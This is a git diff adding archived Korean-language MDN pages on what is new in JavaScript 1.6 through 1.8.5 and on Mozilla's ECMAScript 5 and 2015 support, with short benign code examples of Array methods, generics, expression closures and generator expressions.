+<p>JavaScript 1.6 여러 새 기능(E4X, 여러 새 <code>Array</code> 메소드, Array과 String generic)을 소개합니다.</p>
+
+<p>JavaScript 1.6은 <a href="ko/Firefox_1.5">Firefox 1.5</a>와 이후 버전에서 지원합니다.</p>
+
+<h3 id="E4X" name="E4X">E4X</h3>
+
+<p>ECMAScript for XML (<a>E4X</a>)는 <a href="ko/JavaScript">JavaScript</a> 안의 <a href="ko/XML">XML</a> 컨텐트를 만들고 처리하는 강력한 기술입니다. 우리는 기존 <a href="ko/DOM">DOM</a>과의 transparent한 통합 추가를 포함하는 E4X 지원 향상을 계속할 예정이지만 XML 기반 웹 응용프로그램을 만드는(build) 개발자는 Firefox 1.5의 E4X 지원에서 이득을 얻을 수 있습니다.</p>
+
+<p>아직은 E4X를 쓸 때 표준 MIME 형을 쓸 수 있습니다.</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+</pre>
+
+<p>그러나, E4X 구문이 옛날 브라우저에서 그것을 숨기기 위해 HTML 주석 (<code><span class="nowiki">&lt;!--...--&gt;</span></code>)에 스크립트를 넣는 흔한 관례(practice)와 충돌할지도 모릅니다. E4X 또한 스크립트에 기호 "&lt;"와 "&gt;"를 허용하는 XML CDATA 절 (<code>&lt;![CDATA{{ mediawiki.external('...') }}]&gt;</code>) 에 스크립트를 놓는 더 현대식 관례와 충돌할지도 모릅니다(이는 HTML에는 적용되지 않음을 주의하세요). 만약 설명할 수 없는 구문 에러를 보면, MIME 형에 "; e4x=1"를 보태세요.</p>
+
+<pre>&lt;script type="text/javascript; e4x=1"&gt;
+</pre>
+
+<p>확장기능의 스크립트는 항상 HTML 주석을 E4X 상수(literal)로 다룸을 주의하세요. 즉, "e4x=1"을 묵시(implicit)로 적용합니다.</p>
+
+<p>E4X는 <a href="ko/Core_JavaScript_1.5_Guide/Processing_XML_with_E4X">Processing XML with E4X</a>에서 설명합니다.</p>
+
+<h3 id="Array_.EC.B6.94.EA.B0.80.EB.B6.84" name="Array_.EC.B6.94.EA.B0.80.EB.B6.84">Array 추가분</h3>
+
+<p>두 갈래(item location 메소드와 iterative 메소드)로 구분할 수 있는 7가지 새 <code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array">Array</a></code> 메소드가 있습니다. item location 메소드는</p>
+
+<ul>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/indexOf">indexOf()</a></code> - 주어진 item의 맨 처음 출현(occurrence) 인덱스를 반환합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/lastIndexOf">lastIndexOf()</a></code> - 주어진 item의 맨 마지막 출현 인덱스를 반환합니다.</li>
+</ul>
+
+<p>iterative 메소드는</p>
+
+<ul>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/every">every()</a></code> - 함수가 참을 반환하는 동안 배열의 항목들에 함수를 돌립니다. 만약 함수가 방문할 수 있는 모든 항목에 대해 참을 반환하면 참을 반환합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/filter">filter()</a></code> - 배열의 각 항목에 함수를 돌리고 함수가 참을 반환하는 모든 항목의 배열을 반환합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/forEach">forEach()</a></code> - 배열의 모든 항목에 함수를 돌립니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/map">map()</a></code> - 배열의 모든 항목에 함수를 돌리고 배열에 결과를 반환합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/some">some()</a></code> - 함수가 거짓을 반환하는 동안 배열의 항목들에 함수를 돌립니다. 만약 함수가 방문할 수 있는 어떤 항목에 참을 반환하면 참을 반환합니다.</li>
+</ul>
+
+<p>더 자세한 정보는 <a href="ko/Core_JavaScript_1.5_Guide/Working_with_Arrays#Introduced_in_JavaScript_1.6">Working with Arrays</a>나 Nicholas C. Zakas의 기사 <a class="external" href="http://www.webreference.com/programming/javascript/ncz/column4/index.html">Mozilla's New Array Methods</a>를 보세요.</p>
+
+<h3 id="Array.EC.99.80_String_generic" name="Array.EC.99.80_String_generic">Array와 String generic</h3>
+
+<p>간혹 배열 메소드를 문자열에 쓰고 싶습니다. 이리하여, 문자열을 문자 배열로 다룹니다. 예를 들어, 변수 <var>str</var>의 모든 문자(character)가 문자(letter)인지 검사하기 위해, 당신은 작성합니다.</p>
+
+<pre>function isLetter(character) {
+ return (character &gt;= "a" &amp;&amp; character &lt;= "z");
+}
+
+if (Array.prototype.every.call(str, isLetter))
+ alert("The string '" + str + "' contains only letters!");
+</pre>
+
+<p>이 표기(notation)는 약간 낭비라서 JavaScript 1.6은 generic 속기(shorthand)를 도입합니다.</p>
+
+<pre>if (Array.every(str, isLetter))
+ alert("The string '" + str + "' contains only letters!");
+</pre>
+
+<p>비슷하게 문자열 메소드를 어느 개체든지 쉽게 적용할 수 있습니다.</p>
+
+<pre>var num = 15;
+alert(String.replace(num, /5/, '2'));
+</pre>
+
+<h3 id=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0" name=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0">같이 보기</h3>
+
+<p><a href="ko/Core_JavaScript_1.5_Guide/Working_with_Arrays#Working_with_Array-like_objects">Working with Array-like objects</a>.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/New_in_JavaScript_1.6", "es": "es/Novedades_en_JavaScript_1.6", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.6", "ja": "ja/New_in_JavaScript_1.6", "pl": "pl/Nowo\u015bci_w_JavaScript_1.6", "ru": "ru/\u041d\u043e\u0432\u043e\u0435_\u0432_JavaScript_1.6", "zh-cn": "cn/New_in_JavaScript_1.6" } ) }}</p>
diff --git a/files/ko/web/javascript/new_in_javascript/1.8.1/index.html b/files/ko/web/javascript/new_in_javascript/1.8.1/index.html
new file mode 100644
index 0000000000..2a50e35cf7
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.8.1/index.html
@@ -0,0 +1,26 @@
+---
+title: New in JavaScript 1.8.1
+slug: Web/JavaScript/New_in_JavaScript/1.8.1
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.1
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>다음은  JavaScript 1.8.1의 변경사항입니다. <a href="/en-US/Firefox/Releases/3.5">Firefox 3.5</a> 버전에 포함되었습니다.</p>
+
+<p>JavaScript 1.8.1는 약간의 문법적인 업데이트가 있습니다. 이번 릴리즈의 주요 변경사항은 <a href="/en-US/docs/SpiderMonkey/Internals/Tracing_JIT" title="SpiderMonkey/Internals/Tracing JIT">Tracemonkey just-in-time compiler</a>(성능적인 향상이 포함된 릴리즈입니다)의 추가되어있습니다</p>
+
+<h2 id="JavaScript_1.8.1의_새로운_특징">JavaScript 1.8.1의 새로운 특징</h2>
+
+<ul>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON">Support for native JSON</a></li>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimLeft()")}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}}</li>
+</ul>
+
+<h2 id="JavaScript_1.8.1에서_변경된_기능">JavaScript 1.8.1에서 변경된 기능</h2>
+
+<ul>
+ <li>객체 및 배열 initializer에서 속성의 암시적 설정(implicit setting)은 더 이상 JavaScript에서 setter를 실행하지 않습니다. 덕분에 속성 값을 좀더 예측 가능하게 설정하는 동작이 만들어집니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/1.8.5/index.html b/files/ko/web/javascript/new_in_javascript/1.8.5/index.html
new file mode 100644
index 0000000000..27853f0531
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.8.5/index.html
@@ -0,0 +1,126 @@
+---
+title: New in JavaScript 1.8.5
+slug: Web/JavaScript/New_in_JavaScript/1.8.5
+tags:
+ - ECMAScript5
+ - JavaScript
+ - JavaScript 1.8.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>다음은 JavaScript 1.8.5에 대한 변경기록입니다. 이 버전은 <a href="/ko/Firefox/Releases/4">Firefox 4</a>에서 포함되었습니다.</p>
+
+<h2 id="JavaScript_1.8.5의_새로운_기능">JavaScript 1.8.5의 새로운 기능</h2>
+
+<h3 id="새로운_함수">새로운 함수</h3>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">함수</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("Object.create()")}}</td>
+ <td>지정된 프로토타입 객체 및 속성을 갖는 새로운 객체 생성. {{bug("492840")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.defineProperty()")}}</td>
+ <td>객체에 주어진 설명자로 기술된 유명(named) 속성을 추가.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.defineProperties()")}}</td>
+ <td>객체에 주어진 설명자로 기술된 유명 속성을 추가.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.getOwnPropertyDescriptor()")}}</td>
+ <td>객체의 유명 속성에 대한 속성 설명자를 반환. {{bug("505587")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.keys()")}}</td>
+ <td>객체의 모든 열거가능 속성 배열을 반환. {{bug("307791")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.getOwnPropertyNames()")}}</td>
+ <td>객체의 모든 열거가능 및 열거불가 속성 배열을 반환. {{bug("518663")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.preventExtensions()")}}</td>
+ <td>객체 확장을 막음. {{bug("492849")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.isExtensible()")}}</td>
+ <td>객체 확장이 허용되는지 판단. {{bug("492849")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.seal()")}}</td>
+ <td>다른 코드가 객체의 속성을 삭제하는 것으로부터 막음. {{bug("492845")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.isSealed()")}}</td>
+ <td>객체가 봉인되었는지 판단. {{bug("492845")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.freeze()")}}</td>
+ <td>객체 동결: 다른 코드가 어떤 속성도 삭제 또는 변경할 수 없음. {{bug("492844")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Object.isFrozen()")}}</td>
+ <td>객체가 동결됐는지 판단. {{bug("492844")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Array.isArray()")}}</td>
+ <td>변수가 배열인지 확인. {{bug("510537")}}</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Date.prototype.toJSON()")}}</td>
+ <td><code>Date</code> 객체의 JSON 형식 문자열 반환.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Function.prototype.bind()")}}</td>
+ <td>호출될 때 그 자체가 (주어진 인수열과 함께) 주어진 문맥에서 이 함수를 호출하는 새로운 함수 생성 {{bug("429507")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="ECMAScript5_새로운_기능">ECMAScript5 새로운 기능</h3>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/get">get</a></code> 및 <code><a href="/ko/docs/Web/JavaScript/Reference/Operators/set">set</a></code> 연산자는 이제 식별자가 숫자 또는 문자열이 될 수 있습니다. {{bug("520696")}}</li>
+ <li>{{jsxref("Function.apply()")}}는 인수 목록으로 모든 배열같은 객체를 받아들일 수 있습니다, 실제 배열만이 아니라.</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">엄격 모드 지원</a></li>
+ <li>{{jsxref("Array.toString()")}}은 이제 가능한 경우 그 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/join"><code>join()</code></a> 메서드 호출 결과를 반환 또는 그 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/toString"><code>toString()</code></a> 메서드를 호출하여 심지어 비배열에서도 동작합니다.</li>
+</ul>
+
+<h3 id="다른_표준화_작업">다른 표준화 작업</h3>
+
+<p>getter 및 setter를 정의하는 다양한 비표준 구문이 제거되었습니다; ECMAScript 5에서 정의된 구문은 변경되지 않았습니다. 이들은 모두 꽤 난해하고 거의 쓰이지 않았습니다; 영향을 미치는 경우, 자세한 사항은 <a class="external" href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">이 블로그 게시글</a> 참조.</p>
+
+<h3 id="새로운_객체">새로운 객체</h3>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">객체</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("Proxy")}}</td>
+ <td>JavaScript에서 메타프로그래밍을 가능케 하는 <code>Object</code> 및 <code>Function</code> 프록시 생성 지원을 제공.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="JavaScript_1.8.5에서_바뀐_기능">JavaScript 1.8.5에서 바뀐 기능</h2>
+
+<ul>
+ <li><code>Date</code> 객체 ISO 8601 지원: {{jsxref("Date")}} 객체의 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Date/parse">parse()</a> 메서드가 이제 단순한 ISO 8601 형식 date 문자열을 지원합니다.</li>
+ <li>Global 객체가 읽기 전용이 됨: <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a>, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> 및 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a> global 객체는 읽기 전용이 되었습니다, ECMAScript 5 스펙에 따라.</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/Parent"><code>obj.__parent__</code></a> 및 <code>obj.__count__</code>는 폐기(obsolete)되었습니다. 이유에 대한 일부 정보: <a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">SpiderMonkey change du jour: the special __parent__ property has been removed</a> {{bug("551529")}} &amp; {{bug("552560")}}.</li>
+ <li>후행(trailing) 쉼표는 {{jsxref("JSON.parse()")}}에서 더 이상 허용되지 않습니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/1.8/index.html b/files/ko/web/javascript/new_in_javascript/1.8/index.html
new file mode 100644
index 0000000000..3372eeac27
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.8/index.html
@@ -0,0 +1,138 @@
+---
+title: New in JavaScript 1.8
+slug: Web/JavaScript/New_in_JavaScript/1.8
+tags:
+ - JavaScript
+ - JavaScript_version_overviews
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8
+---
+<p>{{jsSidebar("New_in_JS")}} 자바스크립트 1.8은 (<a href="ko/Firefox_3">Firefox 3</a>에 포함될 예정인) Gecko 1.9의 일부분으로 계획되어 있습니다. 자바스크립트 1.8은 <a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>보다는 변경된 부분이 적습니다. 그러나, ECMAScript 4/JavaScript 2로 진행되는 과정의 몇몇 변경점이 있습니다. 이번 자바스크립트 1.8 릴리즈에는 <a href="ko/New_in_JavaScript_1.6">자바스크립트 1.6</a>과 <a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>에 있는 모든 부분이 포함될 것입니다.</p>
+
+<p>자바스크립트 1.8가 개발되어지고 있는 상황은 {{ Bug(380236) }}을 참조하십시오.</p>
+
+<h3 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_1.8.EC.9D.98_.EC.82.AC.EC.9A.A9" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_1.8.EC.9D.98_.EC.82.AC.EC.9A.A9">자바스크립트 1.8의 사용</h3>
+
+<p>HTML에서 자바스크립트 1.8의 새로운 기능 몇 가지를 사용하려면 다음과 같이 사용하십시오.</p>
+
+<pre class="eval"> &lt;script type="application/javascript;version=1.8"&gt; ... your code ... &lt;/script&gt;
+</pre>
+
+<p><a href="ko/Introduction_to_the_JavaScript_shell">자바스크립트 쉘</a>, 자바스크립트 XPCOM 컴포넌트, 혹은 XUL의 <code>&lt;script&gt;</code> 엘리먼트를 사용할 때에는 자동적으로 가장 마지막의 자바스크립트 버전(모질라 1.9에서는 자바스크립트 1.8)이 사용되어 집니다({{ Bug(381031) }}, {{ Bug(385159) }}).</p>
+
+<p>새로운 예약어 "yield"와 "let"를 사용하려면 버전을 1.8이나 그 이상으로 지정하여야 합니다. 왜냐하면 기존 코드에 변수나 함수의 이름으로 이런 키워드를 사용하고 있을 수 있기 때문입니다. (generator expressions처럼) 새로운 예약어로 소개되지 않는 것들은 자바스크립트 버전을 명시하지 않아도 사용할 수 있습니다.</p>
+
+<h3 id="closures_.ED.91.9C.ED.98.84" name="closures_.ED.91.9C.ED.98.84">closures 표현</h3>
+
+<p>추가된 closures 표현은 간단한 함수 작성을 쉽게 할 수 있는 것 뿐입니다. 문자 그대로인 <a class="external" href="http://en.wikipedia.org/wiki/Lambda_calculus#Lambda_calculus_and_programming_languages">Lambda notation</a>과 유사한 어떤 것을 자바스크립트도 가능하도록 합니다.</p>
+
+<p><a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>과 그 이전 버전:</p>
+
+<pre class="eval"> function(x) { return x * x; }
+</pre>
+
+<p>자바스크립트 1.8:</p>
+
+<pre class="eval"> function(x) x * x
+</pre>
+
+<p>이런 문법은 괄호를 없애고 'return' 문을 쓰지 않아도 되도록 해줍니다. - 즉, 내용을 함축적으로 만들어 줍니다. 문법이 더 짧아진다는 것 외에 코드에 이 문법을 사용하여 얻을 수 있는 추가적인 이점은 없습니다.</p>
+
+<p><b>예제:</b></p>
+
+<p>이벤트 리스너 연결:</p>
+
+<pre class="eval"> document.addEventListener("click", function() false, true);
+</pre>
+
+<p><a href="ko/New_in_JavaScript_1.6">자바스크립트 1.6</a>의 배열 함수의 some을 사용하면:</p>
+
+<pre class="eval"> elems.some(function(elem) elem.type == "text");
+</pre>
+
+<h3 id="Generator_expression" name="Generator_expression">Generator expression</h3>
+
+<p>Generator expression은 (<a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>에서 소개된) generator를 간단하게 만들 수 있게 해줍니다. 문자 그대로 함수 내부에 yield를 포함한 사용자 함수를 생성할 수 있습니다. 그러나 동일한 generator 문법과 같은 것을 포함하고 있는 배열 역시 사용할 수 있습니다.</p>
+
+<p>This addition allows you to simply create generators (which were introduced in <a href="ko/New_in_JavaScript_1.7">JavaScript 1.7</a>). Typically you would have to create a custom function which would have a yield in it, but this addition allows you to use array comprehension-like syntax to create an identical generator statement.</p>
+
+<p><a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>에서 오브젝트로부터 사용자 generator를 만드려면 다음과 같은 코드를 작성해야 했습니다:</p>
+
+<pre class="eval"> function add3(obj) {
+ for ( let i in obj )
+ yield i + 3;
+ }
+
+ let it = add3(someObj);
+ try {
+ while (true) {
+ document.write(it.next() + "&lt;br&gt;\n");
+ }
+ } catch (err if err instanceof StopIteration) {
+ document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p>위의 코드 대신에 자바스크립트 1.8에서는 generator expression을 사용하여 순환문 안에 사용자 generator 함수를 생성하는 부분을 포함할 수 있습니다:</p>
+
+<pre class="eval"> let it = (i + 3 for (i in someObj));
+ try {
+ while (true) {
+ document.write(it.next() + "&lt;br&gt;\n");
+ }
+ } catch (err if err instanceof StopIteration) {
+ document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p>generator 표현은 또한 값처럼 함수에 전달할 수 있습니다. generator 표현은 generator가 실행되지 않을 때부터 반드시 필요할 때까지 (배열이 맨 처음 생성되어지는 전형적인 상황과는 다르게) 특히 주목할만 합니다. 다른 예는 아래에서 볼 수 있습니다:</p>
+
+<p>Generator expressions can also be passed in, as values, to a function. This is particularly noteworthy since generators aren't run until they are absolutely needed (unlike for typical array comprehension situations, where the arrays are constructed ahead of time). An example of the difference can be seen here:</p>
+
+<p>자바스크립트 1.7 Array Comprehension 사용</p>
+
+<pre class="eval"> handleResults([ i for ( i in obj ) if ( i &gt; 3 ) ]);
+
+ function handleResults( results ) {
+ for ( let i in results )
+ // ...
+ }
+</pre>
+
+<p>자바스크립트 1.8 Generator Expressions 사용</p>
+
+<pre class="eval"> handleResults( i for ( i in obj ) if ( i &gt; 3 ) );
+
+ function handleResults( results ) {
+ for ( let i in results )
+ // ...
+ }
+</pre>
+
+<p>두 예제에서 generator expression을 사용함으로써 중요한 다른 점은 'obj' 하나에 대해서만 반복될 것이란 것과 전체에 대해서 반복될 것이라는 점입니다. 배열에 포함되었을 때 하나에 대해서만 반복될 것에 비해 generator expression은 전체에 대해 계속 반복됩니다.</p>
+
+<p>The significant difference between the two examples being that by using the generator expressions, you would only have to loop over the 'obj' structure once, total, as opposed to once when comprehending the array, and again when iterating through it.</p>
+
+<h3 id=".EB.B0.B0.EC.97.B4.EC.97.90_.EC.B6.94.EA.B0.80.EB.90.9C_.EA.B2.83.EB.93.A4" name=".EB.B0.B0.EC.97.B4.EC.97.90_.EC.B6.94.EA.B0.80.EB.90.9C_.EA.B2.83.EB.93.A4">배열에 추가된 것들</h3>
+
+<p>자바스크립트 1.8에는 <code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array">Array</a></code> 객체에 배열 항목마다 반복 적용되는 두 가지 새로운 메소드가 포함되었습니다:</p>
+
+<ul>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/reduce">reduce()</a></code> - 배열의 모든 항목에 대해 함수를 실행하고, 이전 호출에서 결과값을 수집합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/reduceRight">reduceRight()</a></code> - 배열의 모든 항목에 대해 함수를 실행하고, 이전 호출에서 결과값을 수집합니다. 결과값은 순서가 반대로 수집됩니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/reduce">reduce()</a></code> - runs a function on every item in the array and collects the results from previous calls.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/reduceRight">reduceRight()</a></code> - runs a function on every item in the array and collects the results from previous calls, but in reverse.</li>
+</ul>
+
+<h3 id="Changes_in_destructuring_for..in" name="Changes_in_destructuring_for..in">Changes in destructuring for..in</h3>
+
+<p>TBD: mention <a href="ko/New_in_JavaScript_1.7#Looping_across_objects">New_in_JavaScript_1.7#Looping_across_objects</a> ({{ Bug(366941) }}).</p>
+
+<h3 id=".EA.B3.A7_.EB.B3.80.EA.B2.BD.EB.90.A0_.EC.82.AC.ED.95.AD.EB.93.A4" name=".EA.B3.A7_.EB.B3.80.EA.B2.BD.EB.90.A0_.EC.82.AC.ED.95.AD.EB.93.A4">곧 변경될 사항들</h3>
+
+<p>자바스크립트 1.8에 포함될 수 있을 것이라 기대되는 것들:</p>
+
+<ul>
+ <li>JSON 인코딩, 디코딩.</li>
+ <li>Slice syntax.</li>
+ <li>Generalized destructuring <code>for...in</code> (does this mean something other than <a href="#Changes_in_destructuring_for..in">#Changes in destructuring for..in</a>? --<a>Nickolay</a> 10:52, 9 September 2007 (PDT))</li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html b/files/ko/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html
new file mode 100644
index 0000000000..6662aee95b
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html
@@ -0,0 +1,45 @@
+---
+title: ECMAScript 5 support in Mozilla
+slug: Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
+tags:
+ - ECMAScript 5
+ - JavaScript
+ - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>ECMAScript 5.1, 자바스크립트에 기반한, 더 오래된 표준이 2011년 6월에 허가되었습니다.</p>
+
+<p>파이어폭스와 썬더버드를 포함하는 모질라 프로젝트들은 ECMAScript 5.1 의 기능들을 모두 지원합니다. 이 글은 모질라의 다양한 자바스크립트 런타임 버젼에 따라, 어떤 기능들이 지원되는지를 다룹니다.</p>
+
+<h2 id="지원_기능"><strong><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;">지원 기능</span></font></strong></h2>
+
+<h3 id="자바스크립트_1.8.5에_추가(Gecko_2_Firefox_4_and_later)">자바스크립트 1.8.5에 추가(Gecko 2, Firefox 4 and later)</h3>
+
+<p>파이어폭스 4는 <code>Object.*</code> 와 Strict 모드를 포함한 ECMAScript 5의 모든 기능을 지원합니다. <a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.8.5">자바스크립트 1.8.5의 새기능</a> 보기.</p>
+
+<h3 id="자바스크립트_1.8.1에_추가_(Gecko_1.9.1_Firefox_3.5)">자바스크립트 1.8.1에 추가 (Gecko 1.9.1, Firefox 3.5)</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/JSON">네이티브 JSON </a>지원</li>
+ <li><a class="internal" href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf" title="En/Core JavaScript 1.5 Reference/Global Objects/Object/GetPrototypeOf"><code>Object.getPrototypeOf()</code></a> 함수.</li>
+ <li><a class="internal" href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/Trim" title="En/Core JavaScript 1.5 Reference/Global Objects/String/Trim"><code>String.trim()</code></a> 문자열 양 끝의 공백을 자르는 함수.</li>
+ <li>Gecko 1.9.1.4 는 ECMAScript 5와 호환하기 위해 <a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON#Converting_objects_into_JSON" title="En/Using native JSON#Converting objects into JSON"><code>JSON.stringify()</code></a> 의 구현을 업데이트 하였습니다.</li>
+</ul>
+
+<p>ECMAScript 5 는 특정한 상황에서 XTHML을 자바스크립트 코드로 판단하는 경우를 방지하는 파싱 알고리즘을 만들어냈습니다.</p>
+
+<h3 id="자바스크립트_1.6에_추가_(Gecko_1.8_Firefox_1.5)">자바스크립트 1.6에 추가 (Gecko 1.8, Firefox 1.5)</h3>
+
+<p>새로운 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array">배열</a></code> 함수들은, 배열을 가공하기 위해 향상된 방법들을 제공합니다. -- <a href="/ko/docs/Web/JavaScript/New_in_JavaScript/1.6">자바스크립트 1.6</a>부터 자바스크립트의 일부였던 이 것은 이제 ECMAScript 5의 표준 기능으로 자리잡았습니다.</p>
+
+<h2 id="같이_보기"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>같이 보기</strong></span></font></h2>
+
+<ul>
+ <li><a class="external" href="http://www.ecmascript.org/" title="http://www.ecmascript.org/">ECMAScript web site</a></li>
+ <li><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf" title="http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf">ECMAScript 5.1 specification</a></li>
+ <li>John Resig's post on <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/" title="http://ejohn.org/blog/objectgetprototypeof/">Object.getPrototypeOf</a></li>
+ <li>Michael J. Ryan's implementation of <a class="external" href="http://frugalcoder.us/post/2010/01/07/EcmaScript-5s-Date-Extensions.aspx" title="http://frugalcoder.us/post/2010/01/07/EcmaScript-5s-Date-Extensions.aspx">ECMAScript5 Dates in JavaScript</a></li>
+ <li><a href="http://kangax.github.io/es5-compat-table/" title="http://kangax.github.io/es5-compat-table/">ECMAScript 5 support across browsers</a></li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html b/files/ko/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html
new file mode 100644
index 0000000000..bafb603919
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html
@@ -0,0 +1,285 @@
+---
+title: ECMAScript 2015 support in Mozilla
+slug: Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla
+tags:
+ - ECMAScript6
+ - JavaScript
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<div>
+<p>ECMAScript 2015는 ECMAScript 언어의 6번째 표준 스펙(Spec)입니다. 파이어폭스와 모질라 애플리케이션에서 사용되는 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> 엔진의 표준 자바스크립트를 정의하고 있습니다.</p>
+
